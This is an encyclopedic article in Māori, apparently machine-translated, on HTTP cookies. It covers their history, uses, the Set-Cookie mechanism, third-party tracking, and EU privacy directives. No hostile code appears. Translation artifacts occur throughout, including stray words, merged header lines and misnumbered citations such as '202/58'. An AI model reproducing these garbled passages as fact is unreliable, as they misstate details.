in ,

Pihikete Ipurangi: He aha tena? Whakamaramatanga, Taketake, Momo me te Matatapu

He aha te mahi a te pihikete, he aha tena, he aha hoki nga momo pihikete? 🍪

Pihikete Ipurangi: He aha tena? Whakamaramatanga, Taketake, Momo me te Matatapu
Pihikete Ipurangi: He aha tena? Whakamaramatanga, Taketake, Momo me te Matatapu

Un pihikete pihikete tukutuku ranei (ranei pihikete, haapotohia mai te kaiwhakaatu i Quebec) e tautuhia ana e te kawa korero HTTP he raupapa korero ka tukuna e te tūmau HTTP ki te kiritaki HTTP, ka hoki mai te whakamutunga i ia wa ka pataihia taua tūmau HTTP i raro i etahi tikanga.

He rite te pihikete ki te a he kōnae kuputuhi iti kua rongoa i runga i te tauranga o te kaiwhakamahi Ipurangi. Neke atu i te 20 tau e noho ana, ka tukuna e ratou nga kaihanga paetukutuku ki te penapena raraunga kaiwhakamahi kia pai ai o raatau whakatere me te tuku i etahi mahi. I nga wa katoa he nui ake, he iti ake ranei te tautohetohe a nga pihikete na te mea kei roto i nga toenga o nga korero whaiaro ka taea pea te whakamahi e te hunga tuatoru.

Ka tukuna hei pane HTTP e te tūmau tukutuku ki te kaitirotiro paetukutuku e whakahoki mai ana i ia wa ka uru atu ki te tūmau. Ka taea te whakamahi i tetahi pihikete he motuhēhēnga, he huihuinga (te tiaki whenua), me te mo rokiroki korero motuhake mo te kaiwhakamahi, penei i nga manakohanga o te waahi me nga mea kei roto i te kaata hokohoko hiko. Ko te kupu pihikete i ahu mai i pihikete makutu, he ariā rongonui i roto i te rorohiko UNIX, nana i whakatenatena te whakaaro me te ingoa o nga pihikete tirotiro. He torutoru noa nga momo pihikete, kei ia tangata o raatau ake whakamahinga, painga me nga ngoikoretanga.

I te mea he kōnae kuputuhi ngawari, kaore nga pihikete e taea te whakahaere. Kaore ratou kaua he torotoro, he wheori ranei, ahakoa nga pihikete mai i etahi waahi ka kitea e te maha o nga rorohiko anti-huaketo na te mea ka taea e ratou te whai i nga kaiwhakamahi ina toro ana ratou ki nga waahi maha. 

Ko te nuinga o nga kaitirotiro hou e tuku ana i nga kaiwhakamahi whakatau mehemea ka whakaae, ka whakakore ranei i nga pihikete. Ka taea hoki e nga kaiwhakamahi whiriwhiria te roa o te penapena pihikete. Heoi, na te whakakorenga katoa o nga pihikete ka kore e taea te whakamahi etahi waahi. Hei tauira, rokiroki kaata hokohoko, waahi ranei e hiahia ana ki te takiuru ma te whakamahi i nga tohu (ingoa kaiwhakamahi me te kupuhipa).

Tuhinga o nga korero

hītori

te wā pihikete ka ahu mai i te kupu Ingarihi pihikete makutu, he kete raraunga ka whiwhi, ka whakahokia mai e tetahi papatono. I whakamahia kētia nga pihikete i roto i te IT i te wa Lou Montulli i whai whakaaro ki te whakamahi i a raatau ki nga whakawhitiwhitinga ipurangi i te Pipiri 1994. I taua wa, i mahi ia e Netscape Communications, nana i hanga he tono e-hokohoko mo tetahi kaihoko. I hoatu e nga pihikete he otinga ki te raru o te pono o te whakatinanatanga o te kaata hokohoko mariko a tetahi toa.

I tuhia e John Giannandrea raua ko Lou Montulli te tuhinga pihikete tuatahi a Netscape i taua tau ano. Putanga 0.9 beta o Mosaic Netscape, i tukuna i te Oketopa 13, 1994, whakauru hangarau pihikete (tirohia te pou). Ko te whakamahinga tuatahi (kore-whakamatautau) o nga pihikete ko te whakatau mena kua toro atu nga manuhiri ki te paetukutuku Netscape ki te pae i mua. I tukuna e Montulli he tono patent mo te hangarau pihikete i te tau 1995, a ko te US patent 5774670 i whakawhiwhia. i whakawhiwhia i te tau 1998.

Whai muri i te whakatinanatanga i te Netscape 0.9 beta i te tau 1994, i whakauruhia nga pihikete ki roto i te Internet Explorer 2, i tukuna i Oketopa 1995.

Ko te whakaurunga o nga pihikete kaore ano kia mohiotia e te marea. Ina koa, i whakaaetia nga pihikete ma te taunoa i roto i nga tautuhinga tirotiro, a, kaore nga kaiwhakamahi i whakamohiohia mo to raatau noho. I mohio etahi tangata ki te noho o nga pihikete i te hauwhā tuatahi o te tau 1995, engari ko te iwi whanui i noho noa i muri i te whakaputanga a te Financial Times i tetahi tuhinga i te Hui-tanguru 12, 1996. I taua tau ano, ka aro nui nga pihikete na te mea ka taea e nga pokanoa tūmataiti. I korerohia te kaupapa o nga pihikete i roto i nga korero e rua a te American Federal Trade Commission i te tau 1996 me te 1997.

Ko te whakawhanaketanga o te whakapuakanga pihikete mana kua timata kee. Ko nga korero tuatahi mo nga korero whaimana i puta i Aperira 1995 i runga i te rarangi imeera www-talk. I hangaia he roopu mahi IETF motuhake. E rua nga tono rereke mo te whakauru whenua ki nga whakawhitinga HTTP na Brian Behlendorf raua ko David Kristol i whakatakoto, engari ko te roopu, na Kristol tonu i arahi, i whakatau ki te whakamahi i te korero a Netscape hei timatanga. I te Hui-tanguru 1996, ka whakatauhia e te roopu mahi ko nga pihikete tuatoru he tino whakatuma mo te noho muna. Ko nga korero i mahia e te roopu i whakaputaina hei RFC 2109.

Mai i te mutunga o te tau 2014, ka kite matou i tetahi kara mo nga pihikete i runga i nga waahi maha. He kotahi neke atu te toronga tirotiro e taea ai te kara kaore i whakaatuhia.

Nga Momo Pihikete me nga Whakamahinga

Te whakahaerenga hui

Ka taea te whakamahi i nga pihikete hei pupuri i nga raraunga kaiwhakamahi i te wa whakatere, engari puta noa i nga haerenga maha. I whakauruhia nga pihikete ki te whakarato huarahi ki te whakatinana i nga kaata hokohoko hiko, he taputapu mariko e taea ai e te kaiwhakamahi te kohikohi i nga taonga e hiahia ana ia ki te hoko i a ia e tirotiro ana i te waahi.

I enei ra, ko nga tono penei i nga kaata hokohoko ka penapena i te rarangi o nga taonga kei roto i te papaaarangi i runga i te tūmau, he pai ake; atu i te penapena i roto i te pihikete ake. Ka tukuna e te tūmau tukutuku he pihikete kei roto he ID wātū ahurei. Ka whakahokia e te kaitirotiro paetukutuku tenei ID wahanga i runga i ia tono katahi ka tiakina nga mea kei roto i te kete ka hono atu ki tenei ID huihuinga ahurei.

He pai te whakamahi pihikete i nga wa katoa mo te takiuru ki tetahi pae ma te whakamahi i nga tohu. Hei poto, ka tukuna tuatahi e te tūmau tukutuku he pihikete kei roto he ID wātū ahurei. Na ka tukuna e nga kaiwhakamahi o raatau tohu (te nuinga o te ingoa ingoa me te kupuhipa). Ka whakamotuhēhēhia e te tono tukutuku te wātū, ā, ka taea e te kaiwhakamahi te uru atu ki te ratonga.

whakawhaiaro

Ka taea te whakamahi i nga pihikete hei maumahara i nga korero mo te kaiwhakamahi o te pae, hei whakaatu ki a ia nga mea e tika ana a muri ake nei. Hei tauira, ka taea e te tūmau tukutuku te tuku pihikete kei roto te ingoa kaiwhakamahi whakamutunga i whakamahia ki te takiuru ki taua paetukutuku, kia taea ai te whakauru i te ingoa kaiwhakamahi i mua i nga haerenga a muri ake nei.

He maha nga paetukutuku ka whakamahi pihikete mo te whakawhaiaro i runga i nga hiahia a nga kaiwhakamahi. Ka kowhiria e nga kaiwhakamahi o raatau manakohanga i roto i te puka ka tuku atu ki te tūmau. Ka whakawaeheretia e te tūmau nga manakohanga ki roto i te pihikete ka whakahokia ki te tirotiro. I muri mai, ia wa ka uru te kaiwhakamahi ki tetahi wharangi o tenei pae, ka whakahokia e te kaitirotiro te pihikete me te rarangi o nga manakohanga; ka taea e te tūmau te whakarite i te wharangi kia rite ki nga hiahia o te kaiwhakamahi. Hei tauira, ko te paetukutuku Wikipedia ka taea e ona kaiwhakamahi te kowhiri i te kiri o te pae e pai ana ratou. Ka taea e te miihini rapu a Google ona kaiwhakamahi (ahakoa kaore i rehitatia) ki te whiriwhiri i te maha o nga hua e hiahia ana ratou kia kite i ia wharangi hua.

Aroturuki

Ka whakamahia nga pihikete aroturuki ki te whai i nga tikanga tirotiro a nga kaiwhakamahi ipurangi. Ka taea hoki tenei ma te whakamahi i te wahitau IP o te rorohiko e tono ana mo tetahi wharangi, ma te whakamahi ranei i te pane pane HTTP 'kaiwhakaaro' ka tukuna e te kiritaki me ia tono, engari ka taea e nga pihikete te tino tika. Ka taea te mahi penei i te tauira e whai ake nei:

  1. Mena ka karangahia e te kaiwhakamahi tetahi wharangi i runga i tetahi papaanga, a kaore he pihikete i roto i te tono, ka whakaaro te kaimau koinei te wharangi tuatahi i torohia e te kaiwhakamahi. Ka hangaia e te tūmau he aho matapōkere ka tukuna ki te pūtirotiro me te whārangi i tonoa.
  2. Mai i tenei wa, ka tukuna aunoatia te pihikete e te kaitirotiro ia wa ka karangahia he wharangi hou o te waahi. Ka tukuna e te tūmau te wharangi kia rite ki o mua, engari ka takiuru ano hoki i te URL o te wharangi e kiia nei, te ra, te wa o te tono me te pihikete ki roto i te konae rangitaki.

Ma te titiro ki te konae rangitaki, katahi ka taea te kite kohea nga wharangi kua torohia e te kaiwhakamahi me te aha te raupapa. Hei tauira, mena kei roto i te konae etahi tono i mahia ma te whakamahi i te pihikete id=abc, tera pea ka puta mai enei tono katoa i te kaiwhakamahi kotahi. Ko te URL i tonoa, ko te ra me te wa e pa ana ki nga tono ka taea te tirotiro a te kaiwhakamahi ki te whai.

Ko nga pihikete a-tuatoru me nga ramarama tukutuku, e whakamaramatia ana i raro nei, ka taea hoki te aroturuki i nga waahi rereke. Ko te aroturuki i te waahi kotahi ka whakamahia mo nga kaupapa tatauranga. Engari, ko te whai i nga waahi rereke ma te whakamahi i nga pihikete tuatoru ka whakamahia e nga kamupene panui ki te whakaputa i nga korero a nga kaiwhakamahi kore ingoa (katahi ka whakamahia hei whakatau ko wai nga panui me whakaatu ki te kaiwhakamahi me te tuku imeera ki a ia e pa ana ki enei panui - SPAM ).

Ko nga pihikete Aroturuki he morearea ki te whakaekenga o te noho muna a nga kaiwhakamahi engari ka ngawari te whakakore. Kei roto i te nuinga o nga kaitirotiro hou he whiringa ki te muku aunoa i nga pihikete mau tonu ina kati te tono.

pihikete tuatoru

Ko nga whakaahua me etahi atu mea kei roto i te wharangi paetukutuku ka noho pea ki runga i nga kaitoro rereke mai i tera e manaaki ana i te wharangi. Hei whakaatu i te wharangi, ka tangohia e te kaitirotiro enei taonga katoa. Ko te nuinga o nga paetukutuku kei roto nga korero mai i nga punaa rereke. Hei tauira, ki te pato koe i te www.example.com ki roto i to kaitirotiro, he maha nga wa ka puta mai he ahanoa, he panui ranei i runga i tetahi waahanga o te wharangi ka ahu mai i nga puna rereke, ara, mai i tetahi rohe rereke atu i te www. .example.com. Ko nga pihikete roopu "Tuatahi" he pihikete kua tautuhia e te rohe kua whakarārangitia ki te pae wāhitau o te pūtirotiro. Ko nga pihikete tuatoru ka whakatauhia e tetahi o nga mea wharangi ka puta mai i tetahi rohe rereke.

Ma te taunoa, ka whakaae nga kaitirotiro pera i a Mozilla Firefox, Microsoft Internet Explorer me Opera ki nga pihikete tuatoru, engari ka taea e nga kaiwhakamahi te whakarereke i nga tautuhinga i roto i nga whiringa tirotiro hei aukati i a raatau. Karekau he morearea haumarutanga i roto i nga pihikete tuatoru e taea ai te mahi tukutuku, engari ka whakamahia ano hoki ki te whai i nga kaiwhakamahi. mai i tetahi waahi ki tetahi waahi.

Ko nga taputapu penei i te Ghostery e waatea ana mo nga kaitirotiro katoa tae atu ki a Google Chrome ka taea te aukati i nga whakawhitinga i waenga i nga roopu tuatoru.

Te whakatinanatanga

He taunekeneke pea i waenga i te kaitirotiro paetukutuku me te tūmau e hautū ana i te wharangi paetukutuku. Ka tukuna e te tūmau he pihikete ki te kaitirotiro, ka whakahokia mai e te kaitirotiro ina waea atu ki tetahi atu wharangi.
He taunekeneke pea i waenga i te kaitirotiro paetukutuku me te tūmau e hautū ana i te wharangi paetukutuku. Ka tukuna e te tūmau he pihikete ki te kaitirotiro, ka whakahokia mai e te kaitirotiro ina waea atu ki tetahi atu wharangi.

Ko nga pihikete he waahanga iti o nga raraunga ka tukuna e te tūmau tukutuku ki te tirotiro. Ka whakahokia mai e te kaitirotiro ki te tuumau, me te whakauru i te ahua (maumahara ki nga huihuinga o mua) ki roto i te tauwhitinga HTTP kore whenua. Ki te kore he pihikete, ko ia tangohanga mai i tetahi wharangi paetukutuku, tetahi waahanga ranei o te wharangi paetukutuku he huihuinga motuhake, motuhake mai i etahi atu tono i tukuna ki taua pae. I tua atu i te kaha ki te whakarite e te tūmau tukutuku, ka taea hoki te whakarite pihikete ma te tuhi i nga reo penei i te JavaScript, mena ka tautokohia, ka whakamanahia e te kaitirotiro.

Ko te whakaingoa pihikete mana e kii ana ka taea e nga kaitirotiro te penapena me te tuku ano i te iti rawa o nga pihikete. Ko te tikanga, ka taea e te kaitirotiro te rokiroki kia 300 pea nga pihikete o te wha kiropaita ia ia, me te neke atu i te 20 pihikete mo te tūmau kotahi, te rohe ranei.

E ai ki te waahanga 3.1 o RFC 2965, ko nga ingoa pihikete he ahua-kore.

Ka taea e te pihikete te tohu i te ra o tona paunga, inaa ka mukua te pihikete i tenei ra. Mena karekau te pihikete e tohu i te ra paunga, ka mukua te pihikete i te wa ka wehe te kaiwhakamahi i tana tirotiro. No reira, ko te tohu i te ra paunga he huarahi e ora ai te pihikete i roto i nga wahanga maha. Mo konei, ka kiia nga pihikete me te ra paunga tamau. He tauira tono: ka whakamahi pea te pae hokohoko i nga pihikete tohe tonu ki te tuhi i nga taonga i tukuna e nga kaiwhakamahi ki roto i ta raatau kaata hokohoko (i te mea pono, ka tohu pea te pihikete ki tetahi urunga kua tiakina ki roto i te papanga raraunga i te waahi hoko, kaua ki to rorohiko) . Ma tenei tikanga, mena ka wehe nga kaiwhakamahi i to raatau tirotiro me te kore e hoko ka hoki mai ano ki reira, ka kitea ano e ratou nga taonga kei roto i te kaata. Ki te kore e hoatu e enei pihikete he ra paunga, ka mutu ina katia te kaitirotiro, ka ngaro nga korero kei roto i te kete.

Ka taea te whakawhäitihia te whänuitanga o nga Pihikete ki tetahi rohe motuhake, roheroto, ara ranei i runga i te tūmau nana i hanga.

Ko te whakawhitinga o nga wharangi tukutuku ka mahia ma te whakamahi i te HyperText Transfer Protocol (HTTP). Ma te kore e aro ki nga pihikete, ka karangahia e nga kaitirotiro tetahi wharangi mai i nga kaitoro paetukutuku ma te tuku korero poto ki a raatau Tono HTTP. Hei tauira, ki te uru atu ki te wharangi www.example.org/index.html, ka hono nga kaitirotiro ki te tūmau www.example.org ka tukuna he tono penei te ahua:

GET /index.html HTTP/1.1Kaihautū: www.example.org
kaiwhakatereServeur

Ka whakautu te kaimau ma te tuku i te wharangi i tonoa, i mua i tetahi tuhinga rite, ka karangahia te katoa Whakautu HTTP. Kei roto pea i tenei kete nga rarangi e tohutohu ana i te kaitirotiro ki te penapena pihikete:

HTTP/1.1 200 OK Momo-ihirangi: kuputuhi/htmlSet-Pihikete: name=value
(Whārangi HTML)
kaiwhakatereServeur

Ka tukuna noa e te tūmau te raina Tautuhi-Pihikete, ki te hiahia te kaitirotiro ki te penapena pihikete. Ko te Set-Pihikete he tono mo te kaitirotiro ki te penapena i te ingoa = aho uara me te whakahoki mai i nga tono a muri ake nei ki te tūmau. Mena kei te tautoko te kaitirotiro i nga pihikete me nga pihikete ka taea ki nga whiringa tirotiro, ka whakauruhia te pihikete ki nga tono katoa ka tukuna ki te tūmau kotahi. Hei tauira, ka karangahia e te kaitirotiro te wharangi www.example.org/news.html ma te tuku i te tono e whai ake nei ki te tūmau www.example.org:

TIKI /news.html HTTP/1.1Kaihautū: www.example.orgKuki: name=valueAccept: */*
kaiwhakatereServeur

He tono tenei mo tetahi atu wharangi mai i te tuumau kotahi, he rereke mai i te tuatahi i runga ake nei na te mea kei roto he aho i tukuna e te tūmau i mua ki te tirotiro. He mihi ki tenei tikanga, ka mohio te kaimau kei te hono tenei tono ki te mea o mua. Ka whakautu te tūmau ma te tuku i te wharangi kua karangahia, me te taapiri atu i etahi atu pihikete ki reira.

Ko te uara o te pihikete ka taea e te tūmau te huri ma te tuku raina hou Set-Pihikete: name=new_value hei whakautu ki te wharangi kua karangahia. Ka whakakapihia e te kaitirotiro te uara tawhito me te mea hou.

Ko te raina Set-Pihikete i te nuinga o te wa ka hangaia e tetahi kaupapa CGI, etahi atu reo tuhi ranei, ehara i te tūmau HTTP. Ka tukuna e te tūmau HTTP (tauira: Apache) te hua o te papatono (he tuhinga kei mua i te pane kei roto nga pihikete) ki te tirotiro.

Ka taea hoki te whakarite pihikete ma te JavaScript me etahi atu reo rite e rere ana i roto i te kaitirotiro, ara i te taha o te kiritaki, kaua i te taha tūmau. I roto i te JavaScript, ka whakamahia te ahanoa document.cookie mo tenei kaupapa. Hei tauira, ko te tauākī document.cookie = "temperature=20" ka hangaia he pihikete ko "temperature" me te 20 te uara.

He tauira o te whakautu HTTP mai i google.com, e whakatakoto ana i te pihikete me nga huanga.
He tauira o te whakautu HTTP mai i google.com, e whakatakoto ana i te pihikete me nga huanga.

I tua atu i te ingoa/uara takirua, ka taea hoki e te pihikete te whakauru i te ra paunga, te ara, te ingoa rohe me te momo hononga e whakaarohia ana, ara he mea noa, he whakamunatia ranei. Ka tautuhia e RFC 2965 ko nga pihikete me whai nama putanga mana, engari i te nuinga o te waa ka waiho tenei. Ko enei waahanga raraunga e whai ana i te ingoa=new_value takirua, ka wehea e te tohutoro. Hei tauira, ka taea e te kaimau te hanga pihikete ma te tuku i te raina Set-Pihikete: name=new_value; paunga=ra; ara=/; rohe=.example.org.

Ka pau nga pihikete ka kore e tukuna e te kaitirotiro ki te tūmau i roto i nga ahuatanga e whai ake nei:

  • Ina katia te kaitirotiro, mena kaore te pihikete e mau tonu.
  • Ina pahemo te ra paunga pihikete.
  • Ina hurihia te ra paunga pihikete (e te tūmau, te tuhinga ranei) ki te ra o mua.
  • Ina whakakorehia e te kaitirotiro te pihikete i runga i te tono a te kaiwhakamahi.

Ko te ahuatanga tuatoru ka taea e nga kaitoro, nga tuhinga tuhi ranei te whakakore i tetahi pihikete. Kia mahara ka taea e te kaitirotiro paetukutuku a Google Chrome te mohio ki te ra paunga o tetahi pihikete ma te uru atu ki nga tautuhinga ihirangi. Ko te pihikete kua tiakina ki runga rorohiko ka noho tonu ki reira mo nga tekau tau ki te kore e mahia he tikanga hei whakakore.

Nga momo ahua

Mai i to ratou whakaurunga ki runga i te Ipurangi, he maha nga whakaaro mo nga pihikete kua horahia ki runga ipurangi me te ao panui. I te tau 1998, ka whakatauhia e te CIAC, he roopu mahi rorohiko a te Tari mo te Energy o Amerika, ko nga whakaraeraetanga haumarutanga pihikete "karekau" me te whakamarama ko "nga korero mo te takenga mai o o haerenga me nga korero o nga wharangi paetukutuku kua torohia e koe. kei roto i nga konae rangitaki o nga tūmau tukutuku”. I te tau 2005, i whakaputahia e Jupiter Research nga hua o te rangahau, he nui te ōrau o te hunga whakautu i whakaaro ki enei korero e whai ake nei:

  • He rite nga pihikete huaketo, ka pangia e ratou nga puku pakeke a nga kaiwhakamahi.
  • Ka whakaputa nga pihikete pakū-ake.
  • Ka whakamahia nga pihikete hei tuku pāme.
  • Ka whakamahia nga pihikete mo te panui anake.

Kaore e taea e nga pihikete te whakakore, te panui ranei i nga korero mai i te rorohiko o te kaiwhakamahi. Heoi, ka taea e nga pihikete te kite i nga wharangi tukutuku i torohia e te kaiwhakamahi i runga i tetahi pae, huinga pae ranei. Ka taea te kohi i enei korero i roto i te kotaha kaiwhakamahi ka taea te whakamahi, te hoko atu ranei ki nga roopu tuatoru, ka puta he raru nui. He ingoamuna etahi o nga korero, na te mea karekau he korero mo te tangata ake, ahakoa ko enei korero ka taea te whakapae.

E ai ki te rangahau ano, he nui te paheketanga o nga kaiwhakamahi Ipurangi kaore e mohio ki te whakakore i nga pihikete. Ko tetahi o nga take karekau e whirinaki i nga pihikete ko etahi o nga waahi kua tukino i te ahua o nga pihikete me te tiri i enei korero ki etahi atu puna. He nui te paheketanga o nga panui kua whaaia me te imeera kore tono, e kiia ana he mokowhiti, ka ahu mai i nga korero i kohia mai i nga pihikete aroturuki.

Tautuhinga Pūtirotiro

Ko te nuinga o nga kaitirotiro e tautoko ana i nga pihikete me te tuku i te kaiwhakamahi ki te whakakore i a raatau. Ko nga whiringa tino noa ko:

  • Whakahohehia, whakakorehia katoatia ranei nga pihikete, kia whakaaehia, kia aukatihia ranei.
  • Tukua te kaiwhakamahi kia kite i nga pihikete hohe i roto i tetahi wharangi, ma te whakauru i te javascript: alert(document.cookie) ki te pae wāhitau o te pūtirotiro. Ko etahi o nga kaitirotiro ka whakauruhia he kaiwhakahaere pihikete mo te kaiwhakamahi ka taea te tiro me te whakakore i nga pihikete kua rongoahia e te kaitirotiro.

Ko te nuinga o nga kaitirotiro ka whakaae kia whakakorehia nga raraunga whaiaro me nga pihikete. Ko etahi atu waahanga hei whakahaere i nga whakaaetanga pihikete.

Matatapu me nga Pihikete Tuatoru

I roto i tenei tauira tito noa, kua tukuna e tetahi kamupene panui nga kara ki runga i nga paetukutuku e rua. Ma te manaaki i nga kara ki runga i ona kaitoro me te whakamahi pihikete tuatoru, ka taea e te kamupene panui te whai i te whakaterenga a te kaiwhakamahi ma enei waahi e rua.

He nui nga paanga o nga pihikete mo te noho muna me te kore ingoa o nga kaiwhakamahi tukutuku. Ahakoa ka whakahokia noa nga pihikete ki te tūmau nana i whakatakoto, ki tetahi tūmau no te rohe Ipurangi kotahi, engari kei roto i tetahi wharangi nga whakaahua me etahi atu waahanga kei te rongoa i runga i nga tūmau o etahi atu rohe. Ko nga pihikete kua tautuhia i te wa o te whakaoranga o enei waahanga o waho ka kiia pihikete tuatoru. Kei roto i tenei ko nga pihikete mai i nga matapihi pahū-ake e kore e hiahiatia.

Ka whakamahia e nga kamupene panui nga pihikete tuatoru hei whai i nga kaiwhakamahi puta noa i nga waahi rereke ka torohia e ratou. Ina koa, ka taea e te kamupene panui te whai i tetahi kaiwhakamahi puta noa i nga wharangi katoa kua whakanohohia e ia he whakaahua panui, he pika aroturuki ranei. Ma te mohio ki nga wharangi ka torohia e te kaiwhakamahi ka taea e te kamupene panui te aro ki nga hiahia panui a te kaiwhakamahi.

Ko te kaha ki te hanga i tetahi tohu kaiwhakamahi ka kiia e etahi he whakaekenga tūmataiti, ina koa ka mahia te whai i nga waahi rereke ma te whakamahi i nga pihikete tuatoru. Mo konei, he ture pihikete kei etahi whenua.

I whakatinanahia e te kawanatanga o Amerika nga ture tino nui mo te whakatakoto pihikete i te tau 2000, i muri i te whakaaturanga mai kei te whakamahi te Tari Kaupapahere Tarukino o White House i nga pihikete ki te whai i nga rorohiko o nga kaiwhakamahi e matakitaki ana i nga panui tarukino ipurangi. I te tau 2002, ka kitea e te kaitoha tūmataiti a Daniel Brandt i waiho e te CIA nga pihikete mau tonu ki runga rorohiko i toro atu ki ana paetukutuku. I te whakamohiotanga mo tenei takahitanga, ka kii te CIA kaore enei pihikete i tino tukuna ka mutu te whakatakoto. I te Hakihea 25, 2005, ka kitea e Brandt kua waiho e te National Security Agency (NSA) nga pihikete e rua tonu i runga i nga rorohiko manuhiri na te mea he whakahou rorohiko. I muri i te whakamohiotanga, ka whakakorehia e te NSA nga pihikete.

I roto i te United Kingdom, te Ture pihikete ", i uru mai ki te mana i te Mei 25, 2012, ka whakahau i nga waahi ki te whakapuaki i o raatau whakaaro, na reira ka taea e nga kaiwhakamahi te kowhiri mena ka hiahia ratou ki te waiho i nga tohu kaore ranei i a raatau i runga ipurangi. Ka taea te tiaki i a raatau mai i nga whaainga panui. Heoi, e ai ki te Guardian, ko te whakaaetanga a nga kaiwhakamahi Ipurangi kaore i te tino marama; kua whakarereketia nga tikanga o te whakaaetanga a nga kaiwhakamahi, na reira ko te tikanga tenei.

Tohutohu 2002/58 mo te noho muna

Arata'iraa 202/58 tūmataiti me nga whakawhitinga hiko, kei roto nga ture mo te whakamahi pihikete. Otirā, ko te tuhinga 5, te kōwae 3 o tenei tohutohu e kii ana ko te rokiroki raraunga (penei i nga pihikete) i roto i te rorohiko a te kaiwhakamahi ka taea anake mena:

  • ka whakamohiotia te kaiwhakamahi me pehea te whakamahi i nga raraunga;
  • ka hoatu ki te kaiwhakamahi te whiringa ki te whakakore i tenei mahi rokiroki. Heoi ano, e kii ana ano tenei tuhinga ko te rokiroki o nga raraunga mo nga take hangarau he watea mai i tenei ture.

Na te mea i whakatinanahia mai i Oketopa 2003, engari i tino kore rawa te whakahau i mahia e ai ki tetahi ripoata o Hakihea 2004, i tohu hoki ko etahi o nga Whenua Mema (Slovakia, Latvia, Greece, Belgium me Luxembourg) kaore ano kia whakawhitia te tohutohu ki te ture a-whare.

E ai ki nga whakaaro o te G29 i te tau 2010, ko tenei tohutohu, e tino whakatau ana i te whakamahinga o nga pihikete mo nga kaupapa panui whanonga, i runga i te whakaae marama a te kaiwhakamahi Ipurangi e noho kino ana. Ko te tikanga, ko te nuinga o nga waahi ka mahi pera i runga i te kore e u ki te whakahau, ma te whakawhäiti i a raatau ki te "panihi" ngawari e whakaatu ana mo te whakamahinga o "pihikete" me te kore e tuku korero mo nga whakamahinga, kaore he rereke i waenga i nga pihikete "hangarau". "Aroturuki" pihikete, kaua hoki e tuku he tino whiringa ki te kaiwhakamahi e hiahia ana ki te pupuri i nga pihikete hangarau (penei i nga pihikete whakahaere kaata hokohoko) me te whakakore i nga pihikete "aroturuki". Inaa, he maha nga waahi kare e mahi tika mena ka whakakahoretia nga pihikete, karekau e u ki te whakahau 2002/58, ki te tohutohu 95/46 (Te Tiaki i nga raraunga whaiaro).

Tohutohu 2009/136/CE

Kua whakahouhia tenei rauemi e Directive 2009/136/EC i tuhia i te 25 o Noema, 2009 e kii ana ko "te rokiroki o nga korero, te uru atu ranei ki nga korero kua rongoatia, i roto i nga taputapu mutunga a te kaiohauru, kaiwhakamahi ranei ka whakaaetia anake i runga i te here Kua tukuna e te kaiohauru, e te kaiwhakamahi ranei tana whakaaetanga, i muri i tana whiwhinga, i runga i te whainga ki te Directive 95/46/EC, nga korero marama me te whakaoti, i waenga i etahi atu mo nga kaupapa o te tukatuka”. No reira ka whakakaha te tohutohu hou i nga herenga i mua i te whakatakoto pihikete ki te rorohiko o te kaiwhakamahi Ipurangi.

I roto i nga whakaaro tuatahi mo te tohutohu, ka whakatauhia e te Kai-whakahaere ture Pakeha: "I te mea ka taea te hangarau me te whai hua, i runga i nga tikanga e pa ana ki te Directive 95/46/EC, ko te whakaae a te kaiwhakamahi mo te tukatuka ka taea te whakaatu ma te te whakamahi i nga tautuhinga tika o te kaitirotiro, tetahi atu tono ranei”. Engari ko te tikanga, karekau he kaitirotiro tae noa ki tenei wa ka taea te wehe i nga pihikete hangarau tino nui mai i nga mea ka taea te waiho ma te kaiwhakamahi.

Na nga mema paremata o Beletita i huri tenei tohutohu hou i te marama o Hūrae 2012. Ko te rangahau i te tau 2014 e whakaatu ana ko nga mema paremata e uaua ana ki te tono. nga herenga o te tohutohu.

P3P

Kei roto i te whakatakotoranga P3P te kaha o te tūmau ki te whakaputa kaupapa here tūmataiti, e tohu ana he aha te momo korero ka kohia e ia me te aha. Kei roto i enei kaupapa here (engari ehara i te mea iti ki) te whakamahi i nga korero i kohia ma te whakamahi pihikete. E ai ki nga whakamaramatanga o te P3P, ka taea e te kaitirotiro te whakaae, te whakakore ranei i nga pihikete ma te whakataurite i nga kaupapa here tūmataiti me nga manakohanga a te kaiwhakamahi, ma te patai atu ranei ki te kaiwhakamahi, me te whakaatu i te tauākī tūmataitinga kaupapa here i whakapuakihia e te tūmau.

He maha nga kaitirotiro, tae atu ki a Apple Safari me Microsoft Internet Explorer putanga 6 me 7, e tautoko ana i te P3P e taea ai e te kaitirotiro te whakatau mena ka whakaaehia te rokiroki pihikete tuatoru. Ko te kaitirotiro Opera ka taea e nga kaiwhakamahi te whakakore i nga pihikete tuatoru me te hanga i tetahi tohu haumarutanga o te ao me te motuhake mo nga rohe Ipurangi. I tukuna e Mozilla Firefox te putanga 2 o te tautoko P3P engari i whakahokia ano ki te putanga 3.

Ko nga pihikete tuatoru ka taea te aukati e te nuinga o nga kaitirotiro hei whakanui ake i te noho muna me te whakaiti i te aroturuki panui, me te kore e pa kino ki te wheako paetukutuku a te kaiwhakamahi. He maha nga umanga panui e tuku ana i tetahi whiringa whakaputa atu ki nga panui kua whaaia, ma te whakatu i tetahi pihikete whanui i roto i te kaitirotiro e whakakore ana i tenei whaainga, engari kaore e tino whai hua te otinga penei, ina whakamanahia, na te mea ka murua tenei pihikete whanui ina mukua e te kaiwhakamahi enei pihikete e whakakore ana i te whiringa. whakatau i waho.

Nga kino o nga pihikete

I tua atu i nga take tūmataiti, kei a ia ano etahi ngoikoretanga hangarau. Ina koa, kaore i te tautuhi tika i nga kaiwhakamahi, ka taea e ratou te whakaheke i nga mahi o te waahi i te wa e nui ana, ka taea te whakamahi mo nga whakaeke haumarutanga, a ka taupatupatu ratou ki te whakawhitinga kawanatanga, te ahua hoahoanga o te rorohiko.

Te tautuhi kore tika

Mena neke atu i te kotahi te kaitirotiro e whakamahia ana i runga i te rorohiko, kei roto i ia waahanga he waahanga rokiroki motuhake mo nga pihikete. No reira kaore nga pihikete e tautuhi i te tangata, engari ko te huinga o te kaute kaiwhakamahi, te rorohiko, me te kaitirotiro paetukutuku. No reira, ka taea e te tangata te whakamahi i enei kaute, rorohiko, kaitirotiro ranei kei a raatau nga pihikete. Waihoki, karekau nga pihikete e rerekee i waenga i nga kaiwhakamahi maha e noho tahi ana i te kaute kaiwhakamahi kotahi, rorohiko, me te tirotiro, penei i roto i nga "whare ipurangi", i tetahi waahi ranei e whai waahi kore utu ana ki nga rauemi rorohiko.

